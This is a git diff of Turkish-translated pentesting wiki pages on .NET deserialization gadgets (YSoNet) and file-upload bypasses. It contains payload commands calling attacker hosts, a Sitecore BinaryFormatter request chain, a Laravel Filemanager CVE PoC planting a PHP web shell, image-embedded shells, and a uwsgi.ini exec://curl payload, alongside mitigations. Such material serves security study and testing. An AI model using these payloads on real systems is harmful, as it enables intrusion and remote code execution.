| **TypeConfuseDelegate** | `DelegateSerializationHolder` kaydını bozar; nesne materyalize olduğunda delege *herhangi bir* saldırgan tarafından sağlanan metoda işaret eder (ör. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
| **ActivitySurrogateSelector** | `System.Workflow.ComponentModel.ActivitySurrogateSelector`'ı suistimal ederek *\.NET ≥4.8 tip-filtrelemesini atlar* ve sağlanan bir sınıfın **yapıcısını** doğrudan çağırır veya bir C# dosyasını anında **derler** | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
| **DataSetOldBehaviour** | `System.Data.DataSet`'in **eski XML** temsilini kullanarak `<ColumnMapping>` / `<DataType>` alanlarını doldurup rastgele türler oluşturur (isteğe bağlı olarak `--spoofedAssembly` ile assembly'yi sahteleyebilir) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
| **GetterCompilerResults** | WPF destekli runtime'larda (> .NET 5) özellik getter'larını `System.CodeDom.Compiler.CompilerResults`'a ulaşana kadar zincirler, sonra `-c` ile sağlanan bir DLL'i *derler* veya *yükler* | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
| **ObjectDataProvider** (inceleme) | WPF `System.Windows.Data.ObjectDataProvider`'ı kontrol edilen argümanlarla rastgele bir static metodu çağırmak için kullanır. YSoNet, kötü amaçlı XAML'i uzaktan barındırmak için kullanışlı bir `--xamlurl` varyantı ekler | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
| **PSObject (CVE-2017-8565)** | PowerShell nesnesi deserializasyonu sırasında çalışacak şekilde `ScriptBlock`'u `System.Management.Automation.PSObject` içine gömer | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
| **TypeConfuseDelegate** | `DelegateSerializationHolder` kaydını bozar; nesne örneklendiğinde delegate saldırganın sağladığı herhangi bir metoda işaret eder (ör. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
| **ActivitySurrogateSelector** | `System.Workflow.ComponentModel.ActivitySurrogateSelector` kötüye kullanılarak **.NET ≥4.8 tip-filtrelemesi atlanır** ve sağlanan bir sınıfın **constructor**'ı doğrudan çağrılabilir veya bir C# dosyası anında derlenebilir | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
| **DataSetOldBehaviour** | `System.Data.DataSet`'in **eski XML** temsili kullanılarak `<ColumnMapping>` / `<DataType>` alanları doldurulup rastgele tipler örneklenir (isteğe bağlı olarak `--spoofedAssembly` ile assembly sahteleyebilirsiniz) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
| **GetterCompilerResults** | WPF etkin runtime'larda (> .NET 5) property getter'ları zincirleyip `System.CodeDom.Compiler.CompilerResults`'a ulaşır, ardından verilen DLL'i `-c` ile *derler* veya *yükler* | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
| **ObjectDataProvider** (review) | WPF `System.Windows.Data.ObjectDataProvider` kullanarak kontrol edilen argümanlarla rasgele bir static metodu çağırır. YSoNet, kötü amaçlı XAML'i uzaktan barındırmak için kullanışlı bir `--xamlurl` varyantı ekler | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
| **PSObject (CVE-2017-8565)** | `ScriptBlock`'u `System.Management.Automation.PSObject` içine gömer; PowerShell nesneyi deserileştirdiğinde çalıştırılır | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
> [!TIP]
> Tüm payload'lar varsayılan olarak **stdout'a** yazılır; bu, bunları diğer araçlara (ör. ViewState jeneratörleri, base64 kodlayıcılar, HTTP istemcileri) yönlendirmeyi kolaylaştırır.
> Tüm payload'lar varsayılan olarak **stdout'a yazılır**, bu sayede onları diğer araçlara (ör. ViewState generator'ları, base64 encoder'lar, HTTP client'lar) pipe etmek çok kolaydır.
### YSoNet'i Derleme / Kurma
Eğer *Actions ➜ Artifacts* / *Releases* altında önceden derlenmiş ikili dosyalar yoksa, aşağıdaki **PowerShell** tek satırlık komut bir build ortamı kurar, repository'yi klonlar ve her şeyi *Release* modunda derler:
Eğer *Actions ➜ Artifacts* / *Releases* altında ön-derlenmiş ikili dosyalar yoksa, aşağıdaki **PowerShell** tek satırı bir build ortamı kuracak, repository'yi klonlayacak ve her şeyi *Release* modunda derleyecektir:
```powershell
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
@ -217,19 +219,19 @@ msbuild ysonet.sln -p:Configuration=Release
The compiled `ysonet.exe` can then be found under `ysonet/bin/Release/`.
### Tespit ve Sertleştirme
* **Tespit edin**: `w3wp.exe`, `PowerShell.exe` veya kullanıcı tarafından sağlanan veriyi deserialise eden herhangi bir sürecin (ör. `MessagePack`, `Json.NET`) beklenmeyen alt süreçlerini.
* Legacy `BinaryFormatter` / `NetDataContractSerializer` kaldırılamıyorsa, **type-filtering** (`TypeFilterLevel` = *Full*, özel `SurrogateSelector`, `SerializationBinder`, *vb.*) etkinleştirilip zorunlu kılın.
* Mümkünse whitelist tabanlı dönüştürücüler ile **`System.Text.Json`** veya **`DataContractJsonSerializer`**'a geçin.
* Hiç ihtiyaç duymaması gereken web süreçlerinde tehlikeli WPF assembly'lerinin (`PresentationFramework`, `System.Workflow.*`) yüklenmesini engelleyin.
* **Tespit edin** kullanıcı tarafından sağlanan veriyi deserialize eden `w3wp.exe`, `PowerShell.exe` veya herhangi bir sürecin beklenmeyen alt süreçlerini (ör. `MessagePack`, `Json.NET`).
* Kaldırılamayan eski `BinaryFormatter` / `NetDataContractSerializer` durumlarında her zaman type-filtering'i (`TypeFilterLevel` = *Full*, custom `SurrogateSelector`, `SerializationBinder`, *etc.*) etkinleştirin ve **zorunlu kılın**.
* Mümkünse whitelist-tabancalı dönüştürücülerle **`System.Text.Json`** veya **`DataContractJsonSerializer`**'a geçin.
* Hiçbir şekilde ihtiyaç duymaması gereken web süreçlerinde tehlikeli WPF assembly'lerinin (`PresentationFramework`, `System.Workflow.*`) yüklenmesini engelleyin.
## Gerçek‑dünya sink: Sitecore convertToRuntimeHtml → BinaryFormatter
## Real‑world sink: Sitecore convertToRuntimeHtml → BinaryFormatter
Kimlik doğrulamalı Sitecore XP Content Editor akışlarında erişilebilen pratik bir .NET sink:
- Sink API: `Sitecore.Convert.Base64ToObject(string)` içinde `new BinaryFormatter().Deserialize(...)` kullanılır.
- Tetikleme yolu: pipeline `convertToRuntimeHtml` → `ConvertWebControls`, bu işlem `id="{iframeId}_inner"` olan bir kardeş elementi arar ve base64 ile kodlanmış serileştirilmiş veri olarak muamele edilen bir `value` özniteliğini okur. Sonuç string'e dönüştürülür ve HTML'e eklenir.
- Sink API: `Sitecore.Convert.Base64ToObject(string)` `new BinaryFormatter().Deserialize(...)`'u çağırır.
- Tetikleme yolu: pipeline `convertToRuntimeHtml` → `ConvertWebControls`, bu `id="{iframeId}_inner"` olan bir kardeş öğe arar ve base64‐encoded serileştirilmiş veri olarak değerlendirilen bir `value` özniteliğini okur. Sonuç string'e dönüştürülür ve HTML'e eklenir.
Minimal uçtan uca (kimlik doğrulamalı):
Minimal end‑to‑end (authenticated):
```
// Load HTML into EditHtml session
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
@ -244,9 +246,9 @@ __PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
```
- Gadget: any BinaryFormatter chain returning a string (side‑effects run during deserialization). Payloads üretmek için YSoNet/ysoserial.net'e bakın.
- Gadget: deserialization sırasında yan etkileri çalıştıran ve bir string döndüren herhangi bir BinaryFormatter zinciri. Payloads oluşturmak için YSoNet/ysoserial.net'e bakın.
Sitecore'da HTML cache poisoning ile pre‑auth başlayan ve bu sink'e yol açan tam bir zincir için:
Sitecore'da HTML cache poisoning ile pre‑auth başlayan ve bu sink'e yol açan tam zincir için:
{{#ref}}
../../network-services-pentesting/pentesting-web/sitecore/README.md

183
src/pentesting-web/file-upload/README.md
View File

@ -4,10 +4,10 @@
## Dosya Yükleme Genel Metodolojisi
Diğer yararlı uzantılar:
Diğer faydalı uzantılar:
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
- **PHPv8'de çalışma**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
- **Working in PHPv8**: _.php_, _.php4_, .php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
- **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
- **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
- **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
@ -17,11 +17,11 @@ Diğer yararlı uzantılar:
### Dosya uzantısı kontrollerini atlatma
1. Eğer uygulanıyorsa, **önceki uzantıları** **kontrol edin.** Ayrıca bunları bazı **büyük harflerle** de test edin: _pHp, .pHP5, .PhAr ..._
2. _Geçerli uzantıdan **önce geçerli bir uzantı eklemeyi** kontrol edin (önceki uzantıları da kullanın):_
1. Geçerliyse, **önceki uzantıları** kontrol edin. Ayrıca bunları bazı **büyük harfler** kullanarak test edin: _pHp, .pHP5, .PhAr ..._
2. _**Yürütme uzantısından önce geçerli bir uzantı eklemeyi kontrol edin** (önceki uzantıları da kullanın):_
- _file.png.php_
- _file.png.Php5_
3. Sonuna **özel karakterler** eklemeyi deneyin. Burp ile tüm **ascii** ve **Unicode** karakterlerini **bruteforce** edebilirsiniz. (_Not: ayrıca **önceki** belirtilen **uzantıları** de deneyebilirsiniz_)
3. Sondan **özel karakterler** eklemeyi deneyin. Tüm **ascii** ve **Unicode** karakterlerini **bruteforce** etmek için Burp kullanabilirsiniz. (_Not: daha önce bahsedilen **uzantıları** kullanmayı da deneyebilirsiniz_)
- _file.php%20_
- _file.php%0a_
- _file.php%00_
@ -31,7 +31,7 @@ Diğer yararlı uzantılar:
- _file._
- _file.php...._
- _file.pHp5...._
4. Sunucu tarafındaki uzantı ayrıştırıcısını **kandırarak** korumaları atlatmayı deneyin; örneğin **uzantıyı çiftleme** veya uzantılar arasına **gereksiz veri** (**null bytes**) ekleme. _Daha iyi bir payload hazırlamak için **önceki uzantıları** de kullanabilirsiniz._
4. Sunucu tarafındaki uzantı ayrıştırıcısını kandırarak korumaları atlatmayı deneyin; örneğin uzantıyı çiftleyerek veya uzantılar arasına çöp veri (ör. **null bytes**) ekleyerek. _Daha iyi bir payload hazırlamak için önceki uzantıları da kullanabilirsiniz._
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
@ -43,10 +43,10 @@ Diğer yararlı uzantılar:
5. Önceki kontrole **başka bir uzantı katmanı** ekleyin:
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
6. **Exec uzantısını geçerli uzantıdan önce** koymaya çalışın ve sunucunun yanlış yapılandırılmış olmasını umut edin. (Apache yanlış yapılandırmalarını istismar etmek için faydalıdır; bazı durumlarda **.php** uzantısını içeren ama **.php ile bitmeyen** dosyalar da çalıştırılabilir):
6. Yürütme uzantısını geçerli uzantıdan önce koymayı deneyin ve sunucunun yanlış yapılandırılmış olmasını umut edin. (Apache yanlış yapılandırmalarını istismar etmek için faydalıdır; bazı durumlarda uzantısı .php olan her şey, dosyanın .php ile bitmemesi durumunda bile kodu çalıştırır):
- _ex: file.php.png_
7. **Windows** üzerinde **NTFS alternate data stream (ADS)** kullanımı. Bu durumda, yasaklı bir uzantıdan sonra ve izin verilen uzantıdan önce bir iki nokta işareti ":" eklenir. Sonuç olarak, sunucuda **yasaklı uzantılı boş bir dosya** oluşturulur (ör. "file.asax:.jpg”). Bu dosya, kısa dosya adı kullanımı gibi başka tekniklerle daha sonra düzenlenebilir. "**::$data**” deseni de dolu olmayan dosyalar oluşturmak için kullanılabilir. Bu nedenle, bu desenin sonuna bir nokta karakteri eklemek (örn. "file.asp::$data.") daha ileri kısıtlamaları atlatmakta faydalı olabilir.
8. Dosya adı sınırlarını kırmayı deneyin. Geçerli uzantı kesilir. Kötü amaçlı PHP dosyası geride kalır. AAA<--SNIP-->AAA.php
7. **Windows** üzerinde NTFS alternate data stream (ADS) kullanımı. Bu durumda, yasaklı bir uzantıdan sonra ve izin verilen bir uzantıdan önce iki nokta üst üste ":" karakteri eklenecektir. Sonuç olarak, sunucuda **yasaklı uzantıya sahip boş bir dosya** oluşturulacaktır (örn. "file.asax:.jpg"). Bu dosya daha sonra kısa dosya adı kullanımı gibi diğer tekniklerle düzenlenebilir. "**::$data**” paterni de boş olmayan dosyalar oluşturmak için kullanılabilir. Bu nedenle, bu paternden sonra bir nokta karakteri eklemek ek kısıtlamaları atlatmak için faydalı olabilir (örn. "file.asp::$data.")
8. Dosya adı limitlerini aşmayı deneyin. Geçerli uzantı kırpılır. Kötü amaçlı PHP bırakılır. AAA<--SNIP-->AAA.php
```
# Linux maximum 255 bytes
@ -59,13 +59,13 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA<--SNIP 232 A-->AAA.php.png
```
#### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546
#### UniSharp Laravel Filemanager pre-2.9.1 (.php. sonundaki nokta) – CVE-2024-21546
Bazı upload handler'lar kaydedilen dosya adından sonundaki nokta karakterlerini kırpar veya normalize eder. UniSharp’ın Laravel Filemanager (unisharp/laravel-filemanager) 2.9.1'den önceki sürümlerinde, uzantı doğrulamasını atlatabilirsiniz:
Bazı upload handler'ları kaydedilen dosya adının sonundaki nokta karakterlerini kırpar veya normalize eder. UniSharp’ın Laravel Filemanager (unisharp/laravel-filemanager) 2.9.1 öncesi sürümlerinde, uzantı doğrulamasını aşağıdaki şekilde atlayabilirsiniz:
- Geçerli bir image MIME ve magic header kullanın (ör. PNG için `\x89PNG\r\n\x1a\n`).
- Yüklenen dosyayı PHP uzantısı ve sonrasında bir nokta olacak şekilde adlandırın, örn. `shell.php.`.
- Sunucu sonundaki noktayı kaldırır ve `shell.php` olarak saklar; bu dosya web tarafından servis edilen bir dizine (varsayılan public storage gibi `/storage/files/`) yerleştirilirse çalıştırılır.
- Geçerli bir image MIME ve magic header kullanın (ör. PNG’nin `\x89PNG\r\n\x1a\n`).
- Yüklenen dosyayı bir PHP uzantısı ve ardından bir nokta ile adlandırın, örn. `shell.php.`.
- Sunucu sonundaki noktayı siler ve `shell.php` olarak kaydeder; bu, web’den sunulan bir dizine (varsayılan public storage gibi `/storage/files/`) yerleştirilirse çalıştırılacaktır.
Minimal PoC (Burp Repeater):
```http
@ -80,65 +80,65 @@ Content-Type: image/png
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
------WebKitFormBoundary--
```
Sonra kaydedilen path'e istek gönderin (Laravel + LFM'de tipik):
Sonra kaydedilen yola erişin (Laravel + LFM'de tipik):
```
GET /storage/files/0xdf.php?cmd=id
```
Mitigations:
- unisharp/laravel-filemanager paketini ≥ 2.9.1 sürümüne yükseltin.
- Sunucu tarafında sıkı allowlists uygulayın ve kalıcı dosya adını yeniden doğrulayın.
- Yüklemeleri non-executable konumlardan sunun.
Önlemler:
- unisharp/laravel-filemanager'i ≥ 2.9.1 sürümüne güncelleyin.
- Sunucu tarafında katı allowlists uygulayın ve kalıcı dosya adını tekrar doğrulayın.
- Yüklemeleri yürütülebilir olmayan konumlardan servis edin.
### Bypass Content-Type, Magic Number, Compression & Resizing
### Content-Type, Magic Number, Compression & Resizing'ı Bypass Etme
- Bypass **Content-Type** kontrollerini, **Content-Type** **header**ının **value**sini şu şekilde ayarlayarak atlatın: _image/png_ , _text/plain , application/octet-stream_
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- Bypass **magic number** kontrolünü, dosyanın başına gerçek bir resmin **bytes**larını ekleyerek ( _file_ komutunu şaşırtır) atlatın. Veya shell'i **metadata** içine yerleştirin:\
- Content-Type kontrollerini, Content-Type header'ının değerini şu şekilde ayarlayarak bypass edin: _image/png_ , _text/plain , application/octet-stream_
1. Content-Type wordlist: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- Magic number kontrolünü, dosyanın başına gerçek bir resmin byte'larını ekleyerek bypass edin ( _file_ komutunu yanıltmak için). Veya shell'i metadata içine yerleştirin:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` veya yükü doğrudan bir görüntüye de ekleyebilirsiniz:\
`\` veya payload'u doğrudan bir görüntüye de ekleyebilirsiniz:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- Eğer **görüntünüze sıkıştırma (compression) ekleniyorsa**, örneğin [PHP-GD](https://www.php.net/manual/fr/book.image.php) gibi standart PHP kütüphaneleri kullanılıyorsa, önceki teknikler işe yaramayabilir. Ancak, **PLTE chunk** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanarak sıkıştırmadan **sağ çıkacak** metin ekleyebilirsiniz.
- Eğer resme sıkıştırma uygulanıyorsa (ör. bazı standart PHP kütüphaneleri kullanılarak, PHP-GD gibi), önceki teknikler işe yaramayabilir. Ancak sıkıştırmadan **sağ çıkacak** bazı metinleri eklemek için PLTE chunk [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) yöntemini kullanabilirsiniz.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- Web sayfası ayrıca resmi **yeniden boyutlandırıyor (resizing)** olabilir; örneğin PHP-GD fonksiyonları `imagecopyresized` veya `imagecopyresampled` kullanılıyor olabilir. Ancak, **IDAT chunk** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanarak sıkıştırmadan **sağ çıkacak** metin ekleyebilirsiniz.
- Web sayfası ayrıca resmi yeniden boyutlandırıyor olabilir; örneğin PHP-GD fonksiyonları `imagecopyresized` veya `imagecopyresampled` kullanıyor olabilir. Ancak, sıkıştırmadan **sağ çıkacak** bazı metinleri eklemek için IDAT chunk [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) yöntemini kullanabilirsiniz.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- Görüntü yeniden boyutlandırmaya (resizing) dayanacak bir payload oluşturmak için başka bir teknik de PHP-GD fonksiyonu `thumbnailImage` kullanmaktır. Ancak, **tEXt chunk** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanarak sıkıştırmadan **sağ çıkacak** metin ekleyebilirsiniz.
- Bir diğer teknik, PHP-GD fonksiyonu `thumbnailImage` kullanıldığında bile yeniden boyutlandırmadan **sağ kalan** bir payload oluşturma yöntemidir. Bunun için tEXt chunk [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) yöntemini kullanabilirsiniz.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### Other Tricks to check
### Kontrol Edilecek Diğer Hileler
- Zaten yüklenmiş dosyayı **rename** ederek (uzantısını değiştirmek için) bir zafiyet bulun.
- Backdoor'u çalıştırmak için bir **Local File Inclusion** zafiyeti bulun.
- **Olası bilgi sızdırma (Information disclosure)**:
1. Aynı dosyayı aynı adla **birden fazla kez** (ve **aynı anda**) yükleyin.
2. Zaten **var olan** bir **dosya** veya **klasörün** **adıyla** bir dosya yükleyin.
3. Dosya adını **"."**, **".."** veya **"..."** olarak yüklemek. Örneğin, Apache üzerinde **Windows**'ta uygulama yüklenen dosyaları "/www/uploads/" dizinine kaydediyorsa, "." dosya adı "/www/" dizininde "uploads" adlı bir dosya oluşturacaktır.
4. **NTFS** üzerinde kolayca silinemeyebilecek bir dosya yükleyin, örneğin **"…:.jpg"**. (Windows)
5. **Windows** üzerinde adı `|<>*?”` gibi **geçersiz karakterler** içeren bir dosya yükleyin. (Windows)
6. **Windows** üzerinde CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 ve LPT9 gibi **rezerve (yasak) isimleri** kullanarak dosya yükleyin.
- Ayrıca, kurban yanlışlıkla açtığında kod çalıştıracak bir **executable** (.exe) veya daha az şüpheli bir **.html** yüklemeyi deneyin.
- Zaten yüklenmiş dosyanın adını (uzantısını değiştirmek için) yeniden adlandırmaya izin veren bir zafiyet bulun.
- Backdoor'u çalıştırmak için bir Local File Inclusion zafiyeti bulun.
- **Olası Bilgi Açığa Çıkması**:
1. Aynı dosyayı **aynı anda** **birden fazla kez** yükleyin.
2. Zaten var olan bir dosya veya klasörün **adıyla** bir dosya yükleyin.
3. Dosya adını **"."**, **".."** veya **"…"** olarak yükleyin. Örneğin, Apache üzerinde **Windows** ise ve uygulama yüklenen dosyaları "/www/uploads/" dizinine kaydediyorsa, "." dosya adı "/www/" dizininde "uploads" adında bir dosya oluşturacaktır.
4. NTFS üzerinde **"…:.jpg"** gibi kolay silinemeyen bir dosya yükleyin. (Windows)
5. Adında `|<>*?"` gibi geçersiz karakterler bulunan bir dosyayı Windows üzerinde yükleyin. (Windows)
6. CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 ve LPT9 gibi **rezerve (yasaklanmış) isimler** kullanarak Windows'a dosya yükleyin.
- Ayrıca, kurbanın yanlışlıkla açması durumunda kod çalıştıracak bir **.exe** veya daha az şüpheli olabilecek bir **.html** yüklemeyi de deneyin.
### Special extension tricks
### Özel uzantı hileleri
If you are trying to upload files to a **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
If you are trying to upload files to an **ASP server**, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Eğer dosyaları bir **PHP** sunucusuna yüklüyorsanız, kodu çalıştırmak için [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution) sayfasına bakın.\
Eğer dosyaları bir **ASP** sunucusuna yüklüyorsanız, kodu çalıştırmak için [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files) sayfasına bakın.
`.phar` dosyaları java için `.jar` gibidir, fakat php içindir ve **php dosyası gibi kullanılabilir** (php ile çalıştırmak veya bir script içine include etmek gibi...).
`.phar` dosyaları Java için `.jar` gibidir, fakat PHP içindir ve **php dosyası gibi kullanılabilir** (php ile çalıştırılabilir veya bir script içine include edilebilir...)
`.inc` uzantısı bazen yalnızca dosya import etmek için kullanılan php dosyaları için kullanılır; dolayısıyla bir noktada biri bu uzantının **çalıştırılmasına izin vermiş olabilir**.
`.inc` uzantısı bazen sadece **import** amaçlı kullanılan php dosyaları için kullanılır; bu durumda bir noktada biri bu uzantının **çalıştırılmasına izin vermiş** olabilir.
## **Jetty RCE**
If you can upload a XML file into a Jetty server you can obtain [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** So, as mentioned in the following image, upload the XML file to `$JETTY_BASE/webapps/` and expect the shell!
Eğer Jetty sunucusuna bir XML dosyası yükleyebiliyorsanız, [RCE çünkü **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)** elde edebilirsiniz.** Bu nedenle, aşağıdaki görselde de belirtildiği gibi XML dosyasını `$JETTY_BASE/webapps/` dizinine yükleyin ve shell bekleyin!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
## **uWSGI RCE**
For a detailed exploration of this vulnerability check the original research: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Bu zafiyetin detaylı incelenmesi için orijinal çalışmaya bakın: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Remote Command Execution (RCE) vulnerabilities can be exploited in uWSGI servers if one has the capability to modify the `.ini` configuration file. uWSGI configuration files leverage a specific syntax to incorporate "magic" variables, placeholders, and operators. Notably, the '@' operator, utilized as `@(filename)`, is designed to include the contents of a file. Among the various supported schemes in uWSGI, the "exec" scheme is particularly potent, allowing the reading of data from a process's standard output. This feature can be manipulated for nefarious purposes such as Remote Command Execution or Arbitrary File Write/Read when a `.ini` configuration file is processed.
Remote Command Execution (RCE) zafiyetleri, `.ini` yapılandırma dosyasını değiştirme yeteneğine sahip olunursa uWSGI sunucularında istismar edilebilir. uWSGI konfigürasyon dosyaları, "magic" değişkenleri, placeholder'ları ve operatorleri içerebilen özel bir sözdizimi kullanır. Özellikle `@(filename)` şeklinde kullanılan '@' operatörü bir dosyanın içeriğini dahil etmek için tasarlanmıştır. uWSGI tarafından desteklenen çeşitli schemes arasında "exec" scheme'i özellikle güçlüdür; bir sürecin standart çıktısından veri okumaya izin verir. Bir `.ini` yapılandırma dosyası işlendiğinde, bu özellik Remote Command Execution veya Arbitrary File Write/Read gibi kötü amaçlı kullanımlar için manipüle edilebilir.
Çeşitli scheme'leri gösteren zararlı bir `uwsgi.ini` dosyası örneğini düşünün:
Aşağıda çeşitli schemes gösteren zararlı bir `uwsgi.ini` dosyası örneğini düşünün:
```ini
[uwsgi]
; read from a symbol
@ -156,23 +156,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
The execution of the payload occurs during the parsing of the configuration file. For the configuration to be activated and parsed, the uWSGI process must either be restarted (potentially after a crash or due to a Denial of Service attack) or the file must be set to auto-reload. The auto-reload feature, if enabled, reloads the file at specified intervals upon detecting changes.
Payload'ın yürütülmesi, konfigürasyon dosyasının ayrıştırılması sırasında gerçekleşir. Konfigürasyonun etkinleşip ayrıştırılması için uWSGI sürecinin ya yeniden başlatılması (muhtemelen bir çökme sonrası veya bir Denial of Service attack nedeniyle) ya da dosyanın otomatik yeniden yükleme (auto-reload) olarak ayarlanması gerekir. Otomatik yeniden yükleme özelliği etkinse, değişiklikleri tespit ettiğinde dosyayı belirli aralıklarla yeniden yükler.
Payload'un yürütülmesi, konfigürasyon dosyasının parse edilmesi sırasında gerçekleşir. Konfigürasyonun etkinleştirilip parse edilmesi için uWSGI sürecinin ya yeniden başlatılması (olası bir çökme sonrası veya bir Denial of Service saldırısı nedeniyle) ya da dosyanın otomatik yeniden yüklemeye (auto-reload) ayarlanması gerekir. Auto-reload özelliği etkinse, değişiklik algılandığında dosyayı belirli aralıklarla yeniden yükler.
It's crucial to understand the lax nature of uWSGI's configuration file parsing. Specifically, the discussed payload can be inserted into a binary file (such as an image or PDF), further broadening the scope of potential exploitation.
uWSGI'nin konfigürasyon dosyası parse etme işleminin gevşek olduğunu anlamak çok önemlidir. Özellikle, burada bahsedilen payload bir ikili (binary) dosyaya (örneğin bir resim veya PDF) yerleştirilebilir; bu da potansiyel istismar alanını daha da genişletir.
uWSGI'nin konfigürasyon dosyası ayrıştırmasının gevşek yapısını anlamak çok önemlidir. Özellikle bahsedilen payload bir ikili dosyaya (ör. bir resim veya PDF) yerleştirilebilir; bu da olası istismar kapsamını daha da genişletir.
## **wget File Upload/SSRF Trick**
In some occasions you may find that a server is using **`wget`** to **download files** and you can **indicate** the **URL**. In these cases, the code may be checking that the extension of the downloaded files is inside a whitelist to assure that only allowed files are going to be downloaded. However, **this check can be bypassed.**\
